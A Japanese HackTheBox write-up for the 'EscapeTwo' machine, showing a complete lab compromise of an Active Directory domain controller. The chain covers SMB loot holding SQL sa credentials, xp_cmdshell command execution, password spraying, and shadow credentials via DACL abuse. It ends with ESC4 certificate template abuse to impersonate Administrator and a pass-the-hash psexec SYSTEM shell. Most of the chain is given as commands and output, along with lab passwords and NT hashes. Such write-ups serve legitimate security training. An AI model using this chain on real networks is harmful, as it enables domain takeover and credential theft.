HackTheBox Writeup： EscapeTwo

# はじめに
本記事はHackTheBoxのWriteupです。

Machineは、EscapeTwoです。

EscapeTwoでは、SQL ServerとActive Directory証明書サービスについて学びます。

## スキャニング
はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

```
##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 22:40 JST
Nmap scan report for sequel.htb (10.10.11.51)
Host is up (0.26s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-12 13:41:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-04-12T13:42:41+00:00; +1s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-04-12T13:42:40+00:00; 0s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-04-12T12:48:43
|_Not valid after:  2055-04-12T12:48:43
|_ssl-date: 2025-04-12T13:42:41+00:00; +1s from scanner time.
| ms-sql-ntlm-info: 
|   10.10.11.51:1433: 
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.51:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-12T13:42:41+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-12T13:42:40+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
49722/tcp open  msrpc         Microsoft Windows RPC
49743/tcp open  msrpc         Microsoft Windows RPC
49808/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-12T13:42:02
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.59 seconds
Scan completed
```

上記ポートスキャンの結果を基に調査を行います。

## 列挙
ポートスキャンの結果を踏まえてOSはWindowsであり、Active Directoryが動作していることが分かります。

以降Active Directoryにフォーカスして提供されているアカウントの資格情報を基に列挙を行います。

### netexec
以下のコマンドを実行して、LDAP経由で認証を試みます。

`$ netexec ldap 10.10.11.51 -u rose -p KxEPkKe6R8su`

```
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
```

上記出力からroseユーザーの資格情報は有効であること及びLDAPサービスの認証に成功していることが確認できます。また、SMBに関してはSMBv1が無効化されており、署名は有効になっています。

### smb
以下のコマンドを実行して、共有フォルダを確認します。

`$ smbclient -L //10.10.11.51 -U rose`

```
Password for [WORKGROUP\rose]:

        Sharename       Type      Comment
        ---------       ----      -------
        Accounting Department Disk      
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.51 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

興味深い`Accounting Department`フォルダを検出したので確認します。

`$ smbclient //10.10.11.51/"Accounting Department" -U rose`

```
Password for [WORKGROUP\rose]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jun  9 19:52:21 2024
  ..                                  D        0  Sun Jun  9 19:52:21 2024
  accounting_2024.xlsx                A    10217  Sun Jun  9 19:14:49 2024
  accounts.xlsx                       A     6780  Sun Jun  9 19:52:07 2024

                6367231 blocks of size 4096. 926479 blocks available
```

アカウント情報と思われる`accounts.xlsx`ファイルよりSAアカウントの認証情報が確認できました。

::: note
saアカウントは、SQL Serverの既定アカウントとして広く認知されているため、攻撃者に狙われやすい傾向があります。
:::

### impacket
impacketは、ネットワークプロトコルを扱うためのPythonライブラリの一つとして、さまざまな操作を行うためのクラスを提供します。

以下では`impacket-mssqlclient`を使用して、Microsoft SQL Serverへアクセスします。

`$ impacket-mssqlclient 'sa:<REDACTED>'@10.10.11.51`

```
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (sa  dbo@master)> 
```

以下のコマンドを実行して、`xp_cmdshell`を有効化します。

```
SQL (sa  dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
```

`RECONFIGURE`を使用して、実行中の構成値を更新します。

```
SQL (sa  dbo@master)> RECONFIGURE;
```

`config_value`及び`run_value`が両方とも1になっているため、`xp_cmdshell`が有効になっていることが確認できます。

```
SQL (sa  dbo@master)> EXEC sp_configure 'xp_cmdshell';
name          minimum   maximum   config_value   run_value   
-----------   -------   -------   ------------   ---------   
xp_cmdshell         0         1              1           1   
```

`xp_cmdshell`の実行結果より、SQL Serverのサービスアカウントであるsequel\sql_svcの権限でコマンド実行されていることが分かります。従って`xp_cmdshell`を通じて実行されるコマンドは、SQL Serverプロセスのユーザーコンテキストで動作することが確認できます。

```
SQL (sa  dbo@master)> xp_cmdshell whoami
output           
--------------   
sequel\sql_svc   

NULL
```

以下のコマンドを実行して、SQL Server 2019 Expressの設定ファイルより、インストール時の各種パラメータが確認できます。

```
SQL (sa  dbo@master)> exec xp_cmdshell 'type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI'
output                                              
-------------------------------------------------   
[OPTIONS]                                           

ACTION="Install"                                    

QUIET="True"                                        

FEATURES=SQL                                        

INSTANCENAME="SQLEXPRESS"                           

INSTANCEID="SQLEXPRESS"                             

RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"   

AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"        

AGTSVCSTARTUPTYPE="Manual"                          

COMMFABRICPORT="0"                                  

COMMFABRICNETWORKLEVEL=""0"                         

COMMFABRICENCRYPTION="0"                            

MATRIXCMBRICKCOMMPORT="0"                           

SQLSVCSTARTUPTYPE="Automatic"                       

FILESTREAMLEVEL="0"                                 

ENABLERANU="False"                                  

SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"         

SQLSVCACCOUNT="SEQUEL\sql_svc"                      

SQLSVCPASSWORD="REDACTED"                   

SQLSYSADMINACCOUNTS="SEQUEL\Administrator"          

SECURITYMODE="SQL"                                  

SAPWD="MSSQLP@ssw0rd!"                              

ADDCURRENTUSERASSQLADMIN="False"                    

TCPENABLED="1"                                      

NPENABLED="1"                                       

BROWSERSVCSTARTUPTYPE="Automatic"                   

IAcceptSQLServerLicenseTerms=True                   

NULL
```

### ユーザー名の列挙
以下のコマンドを実行して、LDAP経由でActive Directoryドメイン内のユーザー一覧を取得します。

`$ nxc ldap sequel.htb -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users`

```
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\rose:KxEPkKe6R8su 
LDAP        10.10.11.51     389    DC01             [*] Enumerated 9 domain users: sequel.htb
LDAP        10.10.11.51     389    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                               
LDAP        10.10.11.51     389    DC01             Administrator                 2024-06-08 16:32:20 0       Built-in account for administering the computer/domain      
LDAP        10.10.11.51     389    DC01             Guest                         2024-12-25 14:44:53 1       Built-in account for guest access to the computer/domain    
LDAP        10.10.11.51     389    DC01             krbtgt                        2024-06-08 16:40:23 1       Key Distribution Center Service Account                     
LDAP        10.10.11.51     389    DC01             michael                       2024-06-08 16:47:37 1                                                                   
LDAP        10.10.11.51     389    DC01             ryan                          2024-06-08 16:55:45 0                                                                   
LDAP        10.10.11.51     389    DC01             oscar                         2024-06-08 16:56:36 2                                                                   
LDAP        10.10.11.51     389    DC01             sql_svc                       2024-06-09 07:58:42 0                                                                   
LDAP        10.10.11.51     389    DC01             rose                          2024-12-25 14:44:54 16                                                                  
LDAP        10.10.11.51     389    DC01             ca_svc                        2025-04-12 13:47:28 1  
```

ユーザー名のリストを作成するためには、以下のコマンドを実行します。

`$ nxc ldap sequel.htb -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users | grep -A10 Username | grep -v Username | awk '{print $5}' | tee names.txt
`

```
Administrator
Guest
krbtgt
michael
ryan
oscar
sql_svc
rose
ca_svc
```

パスワードスプレー攻撃を行い取得した認証情報が有効であることを確認します。

`$ nxc ldap sequel.htb -d sequel.htb -u names.txt -p 'REDACTED' --continue-on-success`

```
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.51     389    DC01             [-] sequel.htb\Administrator:REDACTED 
LDAP        10.10.11.51     389    DC01             [-] sequel.htb\Guest:REDACTED
LDAP        10.10.11.51     389    DC01             [-] sequel.htb\krbtgt:REDACTED 
LDAP        10.10.11.51     389    DC01             [-] sequel.htb\michael:REDACTED 
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\ryan:REDACTED 
LDAP        10.10.11.51     389    DC01             [-] sequel.htb\oscar:REDACTED 
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\sql_svc:REDACTED 
LDAP        10.10.11.51     389    DC01             [-] sequel.htb\rose:REDACTED 
LDAP        10.10.11.51     389    DC01             [-] sequel.htb\ca_svc:REDACTED
```

## システムハッキング
ryanユーザーと取得したパスワードを用いてログインを行います。

### アクセスの獲得
以下のコマンドを実行して、WinRMのシェルを取得します。

`$ evil-winrm -i sequel.htb -u 'ryan' -p '<REDACTED>'`

```                                      
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> 
```

### ユーザーフラグ
Desktopよりユーザーフラグが確認できます。

```
*Evil-WinRM* PS C:\Users\ryan\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> ls


    Directory: C:\Users\ryan\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        4/12/2025   5:48 AM             34 user.txt
```

### ルートフラグ
netexec（nxc）を用いてLDAP経由で情報を収集します。

以下コマンドを実行すると、BloodHound用の.jsonファイルが保存されたzipファイルを生成します。

`$ nxc ldap sequel.htb -d sequel.htb -u 'ryan' -p 'REDACTED' --dns-server 10.10.11.51 --bloodhound -c ALL`

```
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\ryan:REDACTED 
LDAP        10.10.11.51     389    DC01             Resolved collection methods: dcom, acl, trusts, group, objectprops, container, psremote, session, localadmin, rdp
LDAP        10.10.11.51     389    DC01             Done in 00M 46S
LDAP        10.10.11.51     389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.51_2025-04-12_225833_bloodhound.zip
```

生成したファイルを基にBloodHoundで分析を行なうため、以下のコマンドを実行してBloodHoundを起動します。

`$ sudo neo4j console`
`$ bloodhound`

BloodHoundで確認したところ、ryanユーザーはCA_SVCユーザーに対してWriteOwner権限を持っていることが分かります。

![スクリーンショット 2025-04-11 23.17.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/368279ec-21d7-4295-a387-aa9d2deddbf4.png)

以下のコマンドを実行して、ca_svcユーザーのオブジェクト所有者をryanユーザーに変更します。

`# bloodyAD -d sequel.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'REDACTED' set owner 'ca_svc' 'ryan'`

```
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc
```

Impacketのdacledit.pyツールを使用して、ca_svcユーザーのDiscretionary Access Control List（DACL）に対してryanユーザーの書き込み権限を付与します。

`$ impacket-dacledit -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:REDACTED'`

```
/usr/share/doc/python3-impacket/examples/dacledit.py:101: SyntaxWarning: invalid escape sequence '\V'
  'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines',
/usr/share/doc/python3-impacket/examples/dacledit.py:110: SyntaxWarning: invalid escape sequence '\P'
  'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access',
/usr/share/doc/python3-impacket/examples/dacledit.py:111: SyntaxWarning: invalid escape sequence '\R'
  'S-1-5-32-555': 'BUILTIN\Remote Desktop Users',
/usr/share/doc/python3-impacket/examples/dacledit.py:112: SyntaxWarning: invalid escape sequence '\I'
  'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders',
/usr/share/doc/python3-impacket/examples/dacledit.py:114: SyntaxWarning: invalid escape sequence '\P'
  'S-1-5-32-558': 'BUILTIN\Performance Monitor Users',
/usr/share/doc/python3-impacket/examples/dacledit.py:115: SyntaxWarning: invalid escape sequence '\P'
  'S-1-5-32-559': 'BUILTIN\Performance Log Users',
/usr/share/doc/python3-impacket/examples/dacledit.py:116: SyntaxWarning: invalid escape sequence '\W'
  'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group',
/usr/share/doc/python3-impacket/examples/dacledit.py:117: SyntaxWarning: invalid escape sequence '\T'
  'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers',
/usr/share/doc/python3-impacket/examples/dacledit.py:118: SyntaxWarning: invalid escape sequence '\D'
  'S-1-5-32-562': 'BUILTIN\Distributed COM Users',
/usr/share/doc/python3-impacket/examples/dacledit.py:119: SyntaxWarning: invalid escape sequence '\C'
  'S-1-5-32-569': 'BUILTIN\Cryptographic Operators',
/usr/share/doc/python3-impacket/examples/dacledit.py:120: SyntaxWarning: invalid escape sequence '\E'
  'S-1-5-32-573': 'BUILTIN\Event Log Readers',
/usr/share/doc/python3-impacket/examples/dacledit.py:121: SyntaxWarning: invalid escape sequence '\C'
  'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access',
/usr/share/doc/python3-impacket/examples/dacledit.py:122: SyntaxWarning: invalid escape sequence '\R'
  'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers',
/usr/share/doc/python3-impacket/examples/dacledit.py:123: SyntaxWarning: invalid escape sequence '\R'
  'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers',
/usr/share/doc/python3-impacket/examples/dacledit.py:124: SyntaxWarning: invalid escape sequence '\R'
  'S-1-5-32-577': 'BUILTIN\RDS Management Servers',
/usr/share/doc/python3-impacket/examples/dacledit.py:125: SyntaxWarning: invalid escape sequence '\H'
  'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators',
/usr/share/doc/python3-impacket/examples/dacledit.py:126: SyntaxWarning: invalid escape sequence '\A'
  'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators',
/usr/share/doc/python3-impacket/examples/dacledit.py:127: SyntaxWarning: invalid escape sequence '\R'
  'S-1-5-32-580': 'BUILTIN\Remote Management Users',
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20250412-230457.bak
[*] DACL modified successfully!
```

ca_svcユーザーのmsDS-KeyCredentialLink属性に偽の証明書を登録します。

`$ certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'REDACTED' -account 'ca_svc' -target sequel.htb -dc-ip 10.10.11.51 -ns 10.10.11.51`

```
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '88cbb093-4c91-05b9-d6b5-7e6afc4875f8'
[*] Adding Key Credential with device ID '88cbb093-4c91-05b9-d6b5-7e6afc4875f8' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '88cbb093-4c91-05b9-d6b5-7e6afc4875f8' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce
```

certipyを使用して証明書テンプレートの脆弱性スキャンを行います。

`$ certipy find -u ca_svc@sequel.htb -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -stdout -vulnerable`

```
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[!] Failed to resolve: DC01.sequel.htb
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: [Errno -2] Name or service not known
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via RRP: [Errno Connection error (DC01.sequel.htb:445)] [Errno -2] Name or service not known
[!] Failed to get CA configuration for 'sequel-DC01-CA'
[!] Failed to resolve: DC01.sequel.htb
[!] Got error while trying to check for web enrollment: [Errno -2] Name or service not known
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : sequel-DC01-CA
    DNS Name                            : DC01.sequel.htb
    Certificate Subject                 : CN=sequel-DC01-CA, DC=sequel, DC=htb
    Certificate Serial Number           : 152DBD2D8E9C079742C0F3BFF2A211D3
    Certificate Validity Start          : 2024-06-08 16:50:40+00:00
    Certificate Validity End            : 2124-06-08 17:00:40+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
Certificate Templates
  0
    Template Name                       : DunderMifflinAuthentication
    Display Name                        : Dunder Mifflin Authentication
    Certificate Authorities             : sequel-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireCommonName
                                          SubjectAltRequireDns
    Enrollment Flag                     : AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Enterprise Admins
        Full Control Principals         : SEQUEL.HTB\Cert Publishers
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
        Write Property Principals       : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
                                          SEQUEL.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC4                              : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions
```

ca_svcユーザーで証明書テンプレートを書き換えて、権限が低いユーザーでも証明書を発行できるようにします。

`$ certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug`

```
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'DC01.sequel.htb' at '10.10.11.51'
[+] Trying to resolve 'SEQUEL.HTB' at '10.10.11.51'
[+] Authenticating to LDAP server
[+] Getting TGT for 'CA_SVC@SEQUEL.HTB'
[+] Got TGT for 'CA_SVC@SEQUEL.HTB'
[+] Getting TGS for 'host/DC01.sequel.htb'
[+] Got TGS for 'host/DC01.sequel.htb'
[+] Bound to ldaps://10.10.11.51:636 - ssl
[+] Default path: DC=sequel,DC=htb
[+] Configuration path: CN=Configuration,DC=sequel,DC=htb
[*] Updating certificate template 'DunderMifflinAuthentication'
[+] MODIFY_DELETE:
[+]     pKIExtendedKeyUsage: []
[+]     msPKI-Certificate-Application-Policy: []
[+] MODIFY_REPLACE:
[+]     nTSecurityDescriptor: [b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\xc8\xa3\x1f\xdd\xe9\xba\xb8\x90,\xaes\xbb\xf4\x01\x00\x00']
[+]     flags: [b'0']
[+]     pKIDefaultKeySpec: [b'2']
[+]     pKIKeyUsage: [b'\x86\x00']
[+]     pKIMaxIssuingDepth: [b'-1']
[+]     pKICriticalExtensions: [b'2.5.29.19', b'2.5.29.15']
[+]     pKIExpirationPeriod: [b'\x00@\x1e\xa4\xe8e\xfa\xff']
[+]     pKIDefaultCSPs: [b'1,Microsoft Enhanced Cryptographic Provider v1.0']
[+]     msPKI-Enrollment-Flag: [b'0']
[+]     msPKI-Private-Key-Flag: [b'16842768']
[+]     msPKI-Certificate-Name-Flag: [b'1']
[*] Successfully updated 'DunderMifflinAuthentication'

```

先ほど乗っ取ったテンプレートであるDunderMifflinAuthenticationを使用して、Administrator@sequel.htbに成りすました証明書を発行します。

`$ certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51 -debug`

```
Certipy v4.8.2 - by Oliver Lyak (ly4k)

/usr/lib/python3/dist-packages/certipy/commands/req.py:459: SyntaxWarning: invalid escape sequence '\('
  "(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ",
[+] Trying to resolve 'DC01.sequel.htb' at '10.10.11.51'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.51[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.51[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 12
[*] Got certificate with multiple identifications
    UPN: 'Administrator@sequel.htb'
    DNS Host Name: '10.10.11.51'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_10.pfx'
```

証明書を使用してActive Directoryの認証を行いTGTを取得します。

`$ certipy-ad auth -pfx administrator_10.pfx`

```
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'Administrator@sequel.htb'
    [1] DNS Host Name: '10.10.11.51'
> 0
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
```

Impacketのpsexecツールを使用して、ターゲットホストである10.10.11.51上でリモートシェルを取得します。

`$ impacket-psexec sequel.htb/administrator@10.10.11.51 -hashes 'aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff'`

```
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.11.51.....
[-] share 'Accounting Department' is not writable.
[*] Found writable share ADMIN$
[*] Uploading file TDaAKYVr.exe
[*] Opening SVCManager on 10.10.11.51.....
[*] Creating service MMxV on 10.10.11.51.....
[*] Starting service MMxV.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.6640]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> 
```

`whoami`コマンドを実行して`nt authority\system`であること分かります。

```
C:\Windows\system32> whoami
nt authority\system
```

AdministratorのDesktopに移動します。

```
C:\Windows\system32> cd C:\Users\Administrator\Desktop
```

ルートフラグが確認できます。

```
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 3705-289D

 Directory of C:\Users\Administrator\Desktop

01/04/2025  08:58 AM    <DIR>          .
01/04/2025  08:58 AM    <DIR>          ..
04/12/2025  05:48 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,803,029,504 bytes free
```

# おわりに
EscapeTwoでは、Active Directory証明書サービスについて学びました。

## 参考
- [サーバーの認証モードの変更](https://learn.microsoft.com/ja-jp/sql/database-engine/configure-windows/change-server-authentication-mode?view=sql-server-ver16&tabs=ssms)
- [xp_cmdshell (Transact-SQL)](https://learn.microsoft.com/ja-jp/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql)
- [Active Directory 証明書サービスとは](https://learn.microsoft.com/ja-jp/windows-server/identity/ad-cs/active-directory-certificate-services-overview)
- [BloodHound with Kali Linux: 101](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)